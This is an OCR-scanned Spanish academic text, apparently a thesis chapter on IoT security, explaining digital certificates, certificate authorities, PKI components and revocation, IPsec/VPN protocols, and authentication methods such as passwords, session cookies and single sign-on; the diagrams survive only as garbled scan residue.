
El tercero de confianza (Autoridad de Certificacion, AC) lo que va a hacer es asumir la
responsabilidad de autenticar la informacién de identidad que figura en el Certificado. Es
precisamente por este "Tercero de Confianza" por el que se va a generar y a esto existir una
relacion de confianza entre los titulares de certificados. Indicar en este momento el rol de relacion
de confianza, en el que se sitla también cuando ocurre el caso de no existir una Autoridad de
Certificacion y en el que en este caso, se establecen relaciones de confianza entre las partes
constituyentes.
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Fig.35: Relaciones de confianza.

Salvo en el caso de Auto firma, las Autoridades de certificacién con mismas précticas forman
Dominios de Certificacion. Formando una estructura jerarquica:

Nivel 0 araizd
e Sy Y
CAA CAZ
Nivel 1 r— P
‘caB) [cac) cAX (cay)
. , A S R N S
Nivel X I, “" f‘r \\
Ay
L A~ N N
(caB (cag) [cag)

CAB|

Usuariol Usuario?  Usuario 3 Usuario 4 Usuarios Usuario N

Fig.36: Dominios de Confianza.

Tipos de certificados digitales:
- Certificados de Autoridades Certificadoras.
o Contiene el nombre y la llave pablica de una Autoridad Certificadora.
= Pueden ser autofirmados.
» Pueden estar firmados por otra CA.
= Pueden ser firmados de manera "cruzada" por otra CA.
= Suelen ser distribuidos en los propios navegadores.

- Certificados digitales personales (de usuario): para identificar personas naturales.
Diseflados para comprobar la identidad de una persona, vinculan un nombre especifico
con una llave publica. Son emitidos por las Autoridades de Certificacion.

Pueden tener un Unico proposito o servir para diferentes propdsitos.

Su uso posibilita:
= Eliminar la utilizacién de usuario/password para autenticacion.
= Son asignados individualmente y por ello no pueden ser compartidos.
= Pueden servir para firmar y/o cifrar correo.
= Pueden incluir informacién adicional (edad, sexo,...) para permitir el
acceso a cierto contenido restringido.
= Permiten eliminar el anonimato.

Soportados por los havegadores actuales incluyen:
= Creacion de llaves.
= Obtencion de certificados.
» Desafio/Respuesta frente a un servidor SSL.
= Almacenamiento seguro de las llaves.

- Certificados digitales para servidores: para identificar paginas web de empresas.
0 Necesarios para la conexion mediante SSL.
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= Autenticar la identidad del servidor.

= Distribuir su llave publica.

= Cifrar con ella la clave de sesion generada por el navegador del cliente
utilizada en el cifrado simétrico.

El formato de un certificado SSL incluye:
= Lalongitud de la llave de la firma.
= NuUmero de serie del certificado (debe ser Unico).
= Nombre distinguido.
= Algoritmo utilizado para la firma.
= Nombre comun del sujeto.

- Certificados de software: en concreto destacar lo referente a los llamados Certificados de
cadigo.

La firma de codigo tiene como finalidad proporcionar un sistema para descargar codigo
de manera confiable y reducir el impacto de programas hostiles como virus, troyanos, ...

¢Por qué firmar el cédigo?

Al adquirir un programa en una tienda de informatica podemos estar bastante seguros de
lo que compramos y quien lo produce. El programa viene en una caja sellada, con un
holograma de seguridad e incluye un numero Unico de licencia.

Si hubiera cualquier error se sabe a quien se debe recurrir y como se debe proceder.

Cuando descargamos software de Internet no se cumplen ninguna de las premisas
anteriores. No tenemos la certeza de que el fichero que descarguemos no ha sido
manipulado.

La firma de codigo debe dar al software a distribuir la misma confiabilidad que ofrece el
software "empaquetado”. Una firma digital "marca" el ejecutable con una llave secreta.

Un certificado digital con la llave correspondiente que incluye el nombre de una
organizacion o persona a quien pertenece y una firma digital de una autoridad
certificadora reconocida.

Un certificado digital es una credencial electronica que se compone de una clave publica y una
privada y se utiliza para autenticar usuarios. Forma parte junto con la entidad emisora de
certificados de la infraestructura de clave puablica de una red.

El certificado digital contiene, entre otros datos, los siguientes:
- Filiacion de propietario (hombre, DNI, e-mail).
- Protocolo de firma que se lleva a cabo (de cifrado y descifrado).
- Autoridad de certificacion que emite el certificado (Ej.: FNMT).
- Fecha de emision y caducidad (2-3 afios).
- Claves publica y privada del propietario.
- Firma electronica de la autoridad de certificacion.
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Certificado ﬂll
General Detalles |P_uta de certificacion I
Mostrar: | Sy
|Vabr -
W3
Numero de setie 6100 2147 0000 0000 0016

Enlgoritmo de firma shalR3a |
[Flermisar AC-5215EC, Formacion, 5215...
E\félido desde jueves, 27 de enero de 2005 ...
Evélido hasta viernes, 27 de enero de 2006 ...
Ensunto Josep bafios, Formacion, 5213...
[Fldlave pablica RSA (512 Eits) |

30438 0241 00B7 AS8E C43B F46E D240 D370 7286
7963 0DADA 3A6S 3E1S 19C1 7491 ACB9 6389 3774
D135 0205 36F6 Al54 3882 2D89 0CCY 10BO 9AES
EE27 304% 63D6 E6FA 9D4A 43380 68ED 6902 0301
ono1

Copiar en el archivo,.. |

Modificar propiedades. ..

Fig.37: Vista ejemplo de Certificado Digital.

En cuanto a usos del certificado digital:
- Autenticidad de documentos.
- Autenticidad de usuarios.

- Firma electrénica.

Todo certificado debe estar firmado electronicamente por una Autoridad de Certificacion (AC)
para ser valido.

Este proceso de firma lo lleva a cabo la AC a la vez que general el certificado y consiste en lo
siguiente:

1) Recopila los datos del usuario y las claves generadas por su navegador.

2) Calcula un resumen (hash) de todos los datos recopilados.

3) Firma electronicamente el resumen anterior y lo une a los datos recopilados (Valor de la
firma del certificado o Huella digital).

Version del certificado

Versién 3

Num. de serie del certificado

Generado por la CA, tnico

Algoritmo de firma del certificado

Encriptacion shal con RSA

Nombre X.500 del emisor

c=ES, o=Empresa, cn=Autoridad de Certificacion

Periodo de validez

desde dd/mm/aa hastadd’/mm’/aa’

Nom. X.500 del sujeto

c=ES, o=Empresa, cn=José Pérez

Clave publica del sujeto

AC:46:90:6D:F9....

Uso de la clave

Firma digital, cifrado de clave

Uso de la clave mejorado

Autentificacion en el Sistema Operativo

Identificador claves CA

Identifica el par de claves utilizado para firmar el certificado

Identificador claves usuario

Identifica el par de claves asociado a |a clave pub. en el certificado

Punto de distribucién de CRLs

http://servidor/ruta/nombre.crl -

Firma de la AC Firma del certificado por la CA

Fig. 38: Estructura de Certificado digital.
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Certificado. Un archivo que incluye:

* la identidad

* la clave publica del dicha identidad

* atributos varios y

« compendio de dicha informacién

Certificate Viewer:"correo.uv.es”
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el 0084 Not After -]
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Organization (0} Universitat de Valenca b
B . . pect Public Key Algorithm
S RN St Subject's Public Key
:h“t;n 16/03/2007 = Extensions
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—
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General [lesaies
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Stoweb:  Emanesup.es
Propietaric:  Universitat Politbcrica de Valincia Lmitido para
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e Mombee comin (CH) TERENA S50 High Assurance CA 3
pel g o L o) Qrganizacién (0) TERENA
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Fig.39: Muestra referencia de Certificados digitales.

¢Cual es la finalidad de la entidad certificadora?

Son entidades de confianza que crean certificados de autenticacion. Hay autoridades de
certificacion reconocidas mundialmente, aunque se puede configurar un emisor de certificados

propio para propositos especificos [12].

Establecer, a efectos legales, una correspondencia entre la identidad del emisor y la

identidad de la persona fisica, segun consta en su DNI o similar.

Evitar el repudio de la informacion: una persona fisica no puede alegar que un mensaje

enviado por ésta no fue realmente enviado por ella.
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El certificado de firma reconocida permite garantizar:
- Laidentificacion del firmante.
- La autentificacion del firmante, que garantiza conocer fehacientemente la identidad de
una persona fisica o juridica y el no repudio de documento firmado.
- La integridad de los documentos, asegurando que la informacién de un documento
electronico no ha sido manipulada y corresponde a su estado original.

Antes de que un certificado personal (el unico que puede tener claves privadas) sea instalado en
el almacén de un navegador, éste verifica que estd firmado por una AC de las incluidas en su
almacén de certificados (Autoridades) de la siguiente manera:
1) Calcula el resumen (hash) de todos los datos recopilados del certificado, sin incluir la
firma electronica de la AC.
2) Descifra la firma del certificado con la clave publica de la AC (debe estar en su almacén
de autoridades).
3) Compara el resumen calculado con lo descifrado y decide sobre su autenticidad.

-

Version del certificado

Nuam. de serie del certificado

Algoritmo de firma del certificado

Nombre X.500 del emisor

Periodo de validez

Nom. X.500 del sujeto L m Si /
Clave publica del sujeto
Uso de la clave é=7?
Uso de la clave mejorado No ﬁ

Identificador claves CA

Identificador claves usuario
Punto de distribucién de CRLs .

Firma de la AC

Fig.40: Proceso de recepcion de un documento firmado digitalmente.

Punto de publicacion de certificados: lugar donde se almacenan y se publican los certificados. En
el caso de entidades emisoras de certificados basadas en Windows, los certificados se almacenan
mediante Active Directory, en el modulo adicional instalado o a instalar y que hace de gestor de
certificados. EI AD CS (Active Directory Certificate Service) se encarga de la gestion de los
certificados dentro del directorio activo.

4.2.1.- Gestién de certificados

Para gestionar los certificados disponibles en el propio sistema Windows, los localizaremos en,
dentro del Panel de Control del sistema: "Opciones de Internet" dentro de la pestafia Contenido,
en la seccion Certificados. En esta pantalla (ver figura siguiente) salen los certificados instalados
en la cuenta local del equipo, separados en diferentes categorias.
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Fig.41: Gestion de Certificados digitales en Windows.

4.2.2.- Revocacion de firmas digitales

Una firma digital puede ser revocada por una entidad certificadora que no identifico

correctamente a una persona fisica.

Existen listas de revocaciones con los nimeros de las firmas revocadas.

Las revocaciones son dificiles de detectar automaticamente.

Ejemplos de revocacion:

¢ Cuéndo se tiene que revocar un certificado?
- Un empleado entra a trabajar en la empresa, la empresa tramita un certificado personal

en el momento de entrar. El periodo de validez de este certificado es de dos afos. El
empleado deja de trabajar a los seis meses, deja la empresa. El certificado de este
trabajador se tiene que revocar cuando deja la empresa, puesto que a partir de ese
momento no tiene ninguna vinculacion con la misma.

- Detectamos que en la empresa ha habido alguna vulneracion o intrusion y que, ademas,

lo han hecho con privilegios de administrador. Es el momento de revocar el certificado

ya que tendremos dudas sobre la duplicacion de nuestra clave privada. No basta con
cambiar la contrasefia de la clave privada.

Los certificados que se revocan los publican las autoridades certificadoras en unas listas, que se
denominan listas de revocacion de certificados o Certificate Revocation List (CRL). Cuando nos
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fijamos en la validez de los certificados, debemos contactar con una autoridad certificadora y
comprobar en su lista de revocacion que se ha revocado el certificado. La mayoria de autoridades
certificadoras tienen una pagina web en la que publican los certificados que se han revocado.

4.3.- Infraestructuras de Clave Publica, PKI

Es un sistema encargado de la gestion de certificados digitales y aplicaciones de firma digital y
cifrado, dentro de un marco legal. Dispone de procedimientos en los que se especifican las
operaciones béasicas relacionadas con los certificados: generacion, entrega, distribucion,
revocacion y renovacion.

Otra definicién seria el conjunto de dispositivos, aplicaciones, personas, politicas vy
procedimientos que son necesarios para crear, administrar, distribuir y revocar certificados
basados en criptografia de clave publica.

Un ejemplo de PKI y una caracteristica destacada seria la portabilidad total, con las claves y
certificados grabados en la tarjeta.

Mark

Martin

EMPLOYEE
3258

Fig.42: Identificacion personal mediante tarjeta inteligente.
Elementos de una PKI son:

e Autoridad de certificacion (CA: Certification Authority).

e Autoridad de registro (RA: Registration Authority)).

e Servidor de Certificados (CS: Certificate Server).

e Servicio de validacion de certificados (CVS: Certificate Validation Service).
e Servicio de recuperacion de claves (KRS; Key Recovery Service).

e Servidor de Tiempo (TS: Time Server).

e Servidor de firmas (SS: Signatue Server).
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Titular del Certificado:
Autoridad de Certificacién: ~ Entidad final / Usuario

Gestion de certificados
A

Autoridad de Validacion: 4

Informacion de certificados

https:

=25

Autoridad de Registro: Autoriza la asociacién | ]
entre clave publicay el titular del certificado. ( Internet l~,

A/

Repositorio (Directorios):
Almacenan y distribuyen certificados y
estados: expirado, revocado, etc.
Parte utilizadora:
Verifican certificados y firmas

Fig.43: Composicion de una Infraestructura de Clave Publica

Proporciona:
Integridad.
Confidencialidad.
Autenticidad

No repudio.

Brinda servicios:
e Emision de certificados.
e Generacién de clave pablica y privada.
e Distribucion de certificados.
e Salvaguarda de claves.
e Suspension y revocacion de certificados.

4.3.1.- Componentes de una infraestructura publica.

e Prestadores de Servicios de Certificacién PSCs:

Son entidades que despliegan y mantienen Entornos de Confianza en ambitos bien definidos [8].

- Ponen a disposicién de sus usuarios herramientas para solicitar la obtenciéon de
certificados digitales de forma telematica.

- Gestionan los ciclos de vida de los certificados electronicos emitidos. Time Stamping (en
toda transaccion de firma se ha de constatar el instante de tiempo para el que se valida y
ademas ese instante de tiempo ha de estar acreditado por un Tercero de Confianza
denominado Autoridad de Fechado Digital (TSA)), etc.

- Dan servicios de consulta de estados de certificados (CRLs): la CA ha de publicar el
estado de los certificados (valido, revocado, suspendido) mediante las herramientas y
protocolos pertinentes.

0 CRL (Certificate Revocation List).
0 OCSP (On Line Certificate Status Protocol)
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- Pueden poseer infraestructuras de Autoridad de registro (RA), o delegar este servicio.

- Definen jerarquias de certificacion que permiten dar servicio a sus usuarios.

- Definen politicas de funcionamiento en Documentos de Précticas de Certificacion (DPC).
0 Ejemplos: FNMT, DGP (eDNI), Firma profesional, etc.

e Autoridad de Validacion (VA, Validation Authority):

De [9] es opcional, es la encargada de comprobar y proporcionar informacion sobre la validez de
los certificados digitales que hayan sido registrados por una Autoridad de Registro y certificados
por una Autoridad de Certificacion.

Estas funciones estan separadas de la Autoridad de Certificacion para separar la comprobacién de
la vigencia de un certificado de los datos de identidad de su titular. De esta manera la Autoridad
de Certificacion no tiene acceso a los datos de las transacciones que se realicen con los certificados
que ella emite y las Autoridades de Validacion no tienen acceso a la identidad de los titulares de
los certificados electronicos que maneja, reforzando la transparencia del sistema.

Los datos de validacion se ofrecen a través del protocolo Online Certificate Status Procol (OCSP).
Un cliente OSCP envia una consulta sobre el estado de un certificado a la Autoridad de
Validacion, ésta tras consultar su base de datos ofrece via http una repuesta sobre el estado del
certificado.

e Autoridad de Registro (RA, Registration Authority):

Las Autoridades de Registro son las responsables de verificar la identidad del solicitante de un
certificado y el enlace entre la clave publica y el certificado antes de su expedicion. Estas
entidades asumen tareas administrativas de la Autoridad de Certificacion. Registran las peticiones
de los solicitantes y una vez que identifican al solicitante realizan la peticién de certificado a la
CA. Este papel puede asumirlo también una Autoridad de Certificacion que no disponga de una
Autoridad de Registro.

Funciones de una Autoridad de Registro:

- Autenticacion personal del sujeto que se registra para un certificado.

- Verificacion de la validez de la informacién suministrada por el sujeto.

- Validar el derecho del sujeto a los atributos del certificado solicitado.

- Verificar que el sujeto en realidad posee la clave privada que se va a registrar.

- Informar los casos de terminacién o compromiso de clave donde se requiera la
renovacion.

- Generacion de la pareja de claves puablica/privada.

- Iniciacion del proceso de registro con la Autoridad de Certificacion (AC) en nombre de
la entidad destino del sujeto.

- Almacenamiento de la clave privada.

- Iniciacion del proceso de recuperacion de la clave.

- Distribuciéon de sefiales fisicas (como tarjetas inteligentes) que permitan las claves
privadas.

4.4 .- Funcionamiento

Asignatura Seguridad en Redes de Comunicaciones. Grupo de Ingenieria Telematica.
Universidad de Cantabria.

Un usuario se registra para obtener un certificado, a continuacion la Autoridad de Registro captura
la informacion de registro y genera claves, posteriormente se realiza la peticion de certificado a
la Autoridad de Certificacion, quien firma y valida la peticion realizada. A continuacion se envia
el certificado a la Autoridad de Registro quien se lo entrega al usuario. El certificado ya esta
emitido. La Autoridad de Certificacion publica en certificado en un directorio (repositorio). De
forma esquematica:
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- Un usuario se registra para obtener un certificado.

- La Autoridad de Registro (RA) captura la informacidn de registro y genera las claves.

- Se realiza la peticion de certificado a la Autoridad de Certificacion (RA), quien firmay
valida la peticion realizada.

- Se envia el certificado a la RA quien se lo entrega al usuario.

- El certificado ya esta emitido.

- La CA publica el certificado en un directorio.

Autoridad de

'? 4) Conformidad ; ;
Certificacién (CA) y ) Conformida Autoridad de Registro (RA)

5] Obtencion del certificado /

3) Visita alguna oficina de la RA

con los documentos necesarios

. T (o los envia por correo segun el
\ / nivel de seguridad

1) El usuario genera una pareja
de claves y envia la publica en
el formulario de solicitud
obtenido del servidor Web de la
J Ll

'y

2) Condiciones de uso

CA

Usuario

Fig.44: Esquema de obtencién de certificado para PKI.
Se describen a continuacion los tipos de ficheros de certificados méas comunes:

« .p12 : corresponde al estandar PKCS#12. Este define un formato de fichero en el que se
almacena tanto las claves privadas como el certificado de clave pablica, protegido con
una clave simétrica.

o .pfx : predecesor de PCKS#12.
« crt : este formato almacena certificados X.509v3.

* .pem : Privacy Enhanced Mail Security Certifcate. Formato desarrollado para su uso en
correo electronico.

» .cer : usado para la distribucion de certificados X.5009.

e .p7b : formato de estructura de firma electronica PKCS#7. Solamente contiene el
certificado y/o la lista de certificados revocados.

* key : formato para la distribucion de claves privadas.

4.5.- VPN y IPsec
Revision del concepto de VPN (Virtual Private Network):

VPN: Es una tecnologia de red que permite el establecimiento de una linea de comunicacion que
nos va a permitir a través del concepto de virtual, el poder conectar redes locales sin necesidad
gue sus integrantes estén fisicamente conectados, es a través de Internet como es establece la
comunicacion. Para ello se establece un tanel de datos en el que en su paso por la red Internet, el
proveedor del servicio dirigira el trafico directamente al servidor VPN.
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Destino: 199.1.1.69 ) - .

Datos / [ .
200.1.1.20 — ‘ 199.1.1.69 \,‘
1 P —~ g !
: l , Tanel VPN S '
| ‘ [l

A nten}f—t——/ .I 199.1.1.1 == /

Origen: 200.1.1.20
Destino: 199.1.1.1

Origen: 199.1.1.245
Destino: 199.1.1.69
Datos

Subred 199.1.1.0/25
Red oficina
principal

Puede ir encriptado
(si se usa IPSec ESP)

Fig.45: Comunicacion de informacion a través de VPN.

IPsec es una extension del protocolo IP que proporciona seguridad al protocolo IP y a los
protocolos de capas superiores. IPsec utiliza dos protocolos:

La autentificacion de cabecera o authentication header (AH):

o0 Define una cabecera de autenticacion (AH).
0 Sélo soporta autentificacion.

La carga de seguridad encapsuladora o encapsulating security payload (ESP):

o Crea un encapsulado de carga Util de seguridad (ESP).
o0 Soporta cifrado y autentificacion + cifrado.

La funcion de estos dos protocolos es asegurar, al igual que los otros estadios estudiados, la
autenticacion, la integridad y la confidencialidad de la comunicacién. Puede funcionar de dos

maneras [1]:

Modo transporte: sélo protege los protocolos de capas superiores, es decir, no se cifra la

cabecera IP, se aplica solo a la carga Util. Para en general, comunicaciones host a host.

Modo tunel: protege el datagrama IP completo, es decir, a todo el paquete. Se afiade otra

cabecera IP, encapsulado de paquetes. Se integra comodamente en VPN para
comunicaciones desde host a host a host a sede y sede a sede.

Router o cortafuegos

con IPSec \

[PSec modo tunel

Router o cortafuegos

/ con IPSec

PRy .
— [ Internet ) -
| . -[
i N T |
\_Tanel IPSec |
\ -\ N~~~ — P

Fig.46: Esquema funcional IPsec.

Veamos un esquema general de encapsulado IPsec:
A continuacion se muestra la composicion de cada configuracion:
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Modo AH:
Cabecera Cabecera
P TCP/UDP Datos
Cabecera Cabecera Cabecera
Datos
P IPSec = AH TCP/UDP
Integridad asegurada
Fig.47: Posicion de la cabecera AH en IPv4 modo transporte.
Cabecera Cabecera
P TCP/UDP Datos
Nueva Cabecera Cabecera Cabecera Datos
Cabecera IP | IPSec 2 AH IP Original TCP/UDP
Integridad asegurada
Fig.48: Posicion de la cabecera AH en modo tlnel.
Modo ESP:
Cabecera Cabecera
P TCP/UDP Datos
Cabecera Cabecera Cabecera B4t Trailer Auth
P IPSec > ESP | TCP/UDP 7 ESP ESP
Confidencialidad asegurada: Cifrado
Integridad asegurada: Autenticado
Fig.49: Posicion de la cabecera ESP en modo transporte.
Cabecera Cabecera
P TCR/UDP Datos
Nuevs Cabecera Cabecers | Cabecera Trailer Auth
Cabecera IP IPSec > ESP | 1P ariginal | TCP/UDP Datos ESp ESP

Confidencialidad asegurada: Cifrado
Integridad asegurada: Autenticado

Fig.50: Posicion de la cabecera ESP en modo tunel.

Un inconveniente a destacas es el uso por parte IPsec de claves simétricas respecto de su
distribucion, ;como se distribuyen?. A continuacion veamos una revision al método de
autentificacion de clave simétrica utilizado por IPsec, HMAC (Hash Messahe Authentication
Method).
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Pay to Terry Smith $100.00 Clave simétrica

Pay to Tarry Smith £100.00)
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Fig.51: Método de autentificacién de clave simétrica en IPSec.

HMAC es un método basado en clave simétrica compartida entre ambas partes. Cuando el emisor
necesita autenticarse, afiade el mensaje a mandar la clave y lo pasa a través de la funcion hash.
Este compendio lo envia junto con el mensaje, paso "1" y el receptor realiza el mismo proceso
con su clave compartida, para comprobar que coincide el resultado y por tanto autentica al emisor,
paso "2".

ESP (cifrado +

AH ESP (sdlo cifrado) autenticacion)
Control en el acceso < N N
Integridad sin conexién 4 v
Autenticacion en el origen de datos < v
Rechazo de paquetes retocados (antireplay) W N
Confidencialidad ~J v

Fig.52: Comparativa IPsec AH vs. ESP [9].

IKE: protocolo de intercambio de claves. IKE funciona en dos fases:
- En la primera, los dos interlocutores IKE establecen un canal seguro (que se llama
ISAKMP SA) por donde realizaran el resto de la negociacion.
- Enlasegunda, utilizando el ISAKMP SA negocian y establecen el SA para la conexion.

Modos de funcionamiento IKE:

El IKE proporciona dos modos (en realidad tres) para intercambiar informacion de claves y
establecer SAs.

- Main Mode: para realizar una primera fase donde se establece una asociacion de
seguridad BIDIRECCIONAL denominada ISAKMP SA mediante la cual llevar a cabo el
resto de la negociacion.

- Quick Mode: para, utilizando ISAKMP SA negociada en la primera fase, negociar una
SA de proposito general que sera utilizada durante la conexion.

- Eltercer modo llamado Agressive Mode sirve para realizar también el establecimiento de
una ISAKMP SA pero utilizando menos mensajes (sélo 3 frente a los 5 de Main Mode).

ISAKMP (Internet Security Association and Key Management Protocol): proporciona un entorno
de gestion de clave Internet. Define el formato de mensajes para intercambio de clave, pero no
define el algoritmo de intercambio de claves aunque si dice los requisitos que debe cumplir. IKE
es un algoritmo de intercambio de claves que satisface dichos requisitos.
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5.- SEGURIDAD EN SISTEMAS IoT Ill. Técnicas de identificacion,
autenticaciéon y autorizacion.

La identificacion digital forma parte indisoluble de la mayoria de servicios en Internet y las TIC.
Por ejemplo, para utilizar realizar una compra, un pago, si bien gestiones bancarias, entrar en una
red social. Para la mayoria de servicios, ademas de la identificacion digital, es necesario una
autenticacion de esta identidad.

3. Autorizacion

1. Identificacion 2. Autenticacion

* Decir quien es * Verifica que es quién dice ser * Decide si cuenta con suficientes
privilegios para acceder aun
* Métodos: —
a. Formulario de inicio de sesion * Métodos:
b. Autenticacion HTTP/HTTPS a. Control de acceso por URL
c. Certificados X.509 ' X .
I b. Objetosy métodos seguros.
d. Método de autentificacion ) ¥ e

personalizado c. Listasde control de acceso (ACL)

Fig.53: Identificacion, Autenticacion y Autorizacion.

Tenemos pues asi, referencias como el login para hacer referencia al identificador de usuario
seguido de una autenticacion de esta identidad en la que a priori, el servicio asegura de que el
usuario es quien dice ser.

Actualmente distinguiremos varias maneras respecto del usuario y el concepto de "quien dice
ser", principalmente identificado como identidad del usuario. Para demostrar la autenticidad de la
identidad del usuario se pueden usar cuatro aproximaciones distintas:

1) El usuario es quien dice ser si demuestra conocer algo que solamente este conoce. Por
ejemplo, conoce una palabra secreta de acceso, normalmente la llamada contrasefia.

2) El usuario es quien dice ser si posee algin objeto, como por ejemplo una tarjeta
magnética. Un ejemplo no relacionado con la informética podria ser las llaves de casa, en
las que en principio, el propietario es quien las posee.

3) El usuario es quien dice ser si posee alguna caracteristica fisica que sélo él tiene: por
ejemplo, la huella dactilar.

4) El usuario es quien dice ser si es capaz de hacer algo de forma Unica: por ejemplo, el
patrén de escritura o la forma de andar.

A pesar de tratarse de cuatro formas de abordar la autentificacion de la identidad, no existe una
frontera clara entre alguna de ellas. Ademas, es perfectamente posible el uso de varias de estas
técnicas de forma combinada., para conseguir mayor grado de seguridad.

Por otra parte, todas estas formas de abordar la autenticacion no estan exentas de problemas de
seguridad. Por ejemplo, robo de alguna tarjeta con codigos y usada por otro usuario a modo de
usurpacion de identidad. La usurpacion de identidad consiste en que una entidad use con éxito el
mecanismo de identificacion que identifica a otra identidad.

Por ejemplo, mas adelante veremos el establecimiento de comunicaciones a través de certificados
digitales en los que al momento cabe preguntarnos: ¢Podemos confiar en un certificado?, para
confiar en un certificado primero se debe confiar en el emisor, en el que, en caso de no confiar (si
bien ser de confianza) deberemos rechazar el certificado.

Aungue no comprende su atencidn en este proyecto, otro ejemplo lo tenemos en el control por
biometria, entendiendo a nuestro caso la biometria como una manera de "medir" los rasgos
"bioldgicos" de un individuo.
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Asociado a esto, tenemos la confirmacidn no presencial de la identidad, en la que se asocian otras
herramientas para mejorar el alta de usuario, como:

- Correo electronico: en la que se pide al usuario que introduzca una direccion de
correo electronico. En esta direccidn, se recibird un correo que contendra un enlace a
una pagina que activa automaticamente la cuenta recién creada.

- Teléfono movil: consistente en pedir un nimero de teléfono movil al cual el servicio
enviard un cédigo de activacion.

- Confirmacién por datos: si el sistema telematico se corresponde con una entidad que
ha mantenido relacion con el usuario previamente, se pueden pedir datos para
comprobar que la identidad del solicitante se corresponde con la del individuo.

Ademas, en muchos casos, se pretende evitar tener un uso indebido del servicio o bien se quiere
proteger el sistema ante bloqueo del servicio. Aqui entran a formar parte los programas como el
captcha basado en una prueba en la que solo puede ser resuelta por humanos y no por programas
y cuyo objetivo es diferenciar un humano de un programa.

5.1.- Contrasefias, codigos y recomendaciones

Si se crea un usuario, necesitamos crearle una contrasefia. Si recibimos un certificado electrénico,
es muy recomendable utilizar una contrasefia 0 un codigo para proteger la clave privada
correspondiente al certificado.

A continuacion se indican los principales consejos y técnicas para mejorar la seguridad de la
contrasefia:

- No usar contrasefias obvias: sobre todo para evitar ataques de busqueda referenciada.
Por ejemplo, a las contrasefias: teclado y !Tecl4d$ les difiere poca dificultad de
diferencia de memorizacién y sin embargo el coste computacional por ataque de
diccionario por programa de crack de contrasefias es de unos microsegundos para la
contrasefia teclado y cierta gran complejidad y mucho mayor tiempo encontrarla para
ITecl4d$.

- Forzar periédicamente el cambio de contrasefa.

- Permitir un nmero maximo de intentos fallidos.

- Solicitar codigos de autorizacion en aquellas operaciones que precisen mas
seguridad. Es aqui donde entra el concepto de usar tokens de seguridad, entendiendo
por token de seguridad el uso de dispositivos que dan soporte al proceso de
autenticacion de identidad. Utilizados en general para validad la entrada a sistemas y
servicios. A ser posible que sean de un solo uso, dependiendo del caso.

Estos consejos principales como los mas principales entre otros mas popularmente conocidos
como medida de la contrasefia son habituales en la mayoria de sistemas de validacion por medio
de contrasefias. EI administrador del sistema debe disefiar un proceso de gestion de contrasefias
que tenga en cuenta estos aspectos y tener en cuenta que aun tomando estas precauciones técnicas,
el robo de contrasefias estd aqui presente. Se debera estar pendiente ante estos hechos para evitar
la aplicacion de técnicas de phishing. Por ejemplo, en la autentificacion por contrasefia deberemos
tener cuidado con los llamados keyloggers como registradores de tecleo del usuario y otros por
igual como mouseloggers y screenloggers Estos temas son necesarios en cualquier politica de
seguridad informética de cualquier organismo o empresa.

A continuacién se muestran algunas de las recomendaciones de seguridad en lo referente a las
contrasefas de los servicios:

« Contrasefias por defecto: deben cambiarse todas estas contrasefias 0 deshabilitarse los servicios
que las usan.

« Servicios sin contrasefia: hay que evitar la existencia de este tipo de servicios o restringirlos
adecuadamente mediante herramientas adicionales.
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 Servicios poco usados: es importante discriminar qué servicios se usan realmente para
deshabilitar los que no son necesarios.

Una vez se ha encontrado el conjunto de servicios que proporciona la funcionalidad necesaria
para el entorno de trabajo, hay que concentrarse en los permisos que tienen estos servicios. La
relacién de la base de datos con el sistema operativo se basa en un usuario que ejecuta los servicios
a través de cierto nimero de programas. El usuario que ejecuta dichos programas dispone de una
serie de privilegios en funcion del grupo al que pertenezca y a los privilegios adicionales de los
que pueda disponer.

Hasta aqui debemos tener una importante resefia en este menester: estamos realizando
fortificacion del sistema. Algo que a buen seguro nos contribuird a reportar un alto grado de
incremento de seguridad.

5.2.- Procedimiento de autenticacién

Cuando un usuario se ha dado de alta en el servicio, ya esta en disposicion de usarlo. Es entonces
cuando, concretamente, ya puede autenticarse en el servicio. Por ejemplo, ya puede acceder a
hacer un trdmite en la empresa [13].

El sistema debera tener en cuenta que el usuario se ha autenticado y se encuentra en una sesion
activa. Surge aqui la distincion en que, el sistema operativo tiene implementado un sistema de
control de usuarios que estan activos, pero esto no ocurre con las aplicaciones basadas en web.

Trasladar directamente a las paginas web el concepto de sesion no es posible ya que el protocolo
HTTP trata las peticiones del usuario de forma independiente. Para poder implementar el
concepto de sesion en la tecnologia de una pagina web se necesita la llamada cookie de sesion.

Una cookie es un fichero de texto que el servidor web guarda en la maquina cliente. Son los Unicos
ficheros que, por defecto, se pueden depositar en el equipo cliente, sin que el usuario sea
consciente.

Las cookies se usan para guardar informacion variada sobre el cliente, por ejemplo, se pueden
guardar preferencias de aspecto de un sitio web que tiene el usuario. A través de las cookies de
sesion, se pueden manejar sesiones de usuarios autenticados en paginas web: cuando el usuario
se identifica correctamente, se le asigna un nimero de sesion (una cadena de bits larga y aleatoria).
Este nimero de sesion suele guardarse en una cookie en el ordenador cliente. Asi pues, el servidor
es capaz de asociar al cliente con una determinada sesion.

GET index.php?usuario=Toni
_Cookie(ldsession =343434)

GET acceder.php

Cookie(ldsession =343434) (L )

Hola Toni w

Fig.54: Establecimiento de cookie de sesion.

Q

Asi pues, con una cookie de sesion identificamos una sesion activa.

Dentro de una sesién hay datos cuyo valor debe estar disponible durante toda la sesion: son las
Ilamadas variables de sesion. Un lenguaje como PHP dispone de herramientas para empezar una
sesion (session_start()), terminar una sesion (session_destroy()), asi como
herramientas para controlar las variables de sesion.

Un ejemplo principal de este tipo de establecimiento de sesion es la llamada Identificacion unica
(Single Sign On) basado en el acceso a lared con una sola Unica identificacion a todos los servicios
de la red, donde el servidor entrega al usuario un permiso general de acceso a la red (Unico acto
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de autenticacion inicial). Presentando el principal inconveniente que, si un intruso consigue las
credenciales de acceso (usuario y contrasefia) una vez se active en la sesidn, podré tener acceso a
todos los servicios también.

)

- >

(1)
/

@

-—
@[]

(1) ¢El cliente esta autenticado?

(2) El servicio redirecciona a un sistema de autenticacion,
(3) El usuario se valida correctamente.

(4) El sistema de autenticacién deja un permiso al cliente,
(5) Para ofros servicios, el usuario ya esta autenticado.

Fig.55: Ejemplo de establecimiento de sesion por identificacion Gnica (Single Sing On).

Actualmente existen diversas tecnologias asociadas a esta seccion de la Autentificacion y
Autorizacion como por parte de diversas aplicaciones informéaticas como JAAS por parte de
JAVA, cakePHP por parte PHP y aplicaciones .NET

5.3.- Autenticacion mediante certificados electronicos

Entran aqui a formar parte el procedimiento de comunicacion certificada, la cual se comenta en
el apartado de firma electrénica y certificado digital. Comentar aqui que entran a formar parte de
las comunicaciones el actual protocolo de establecimiento de conexion con servidor HTTPS y sus
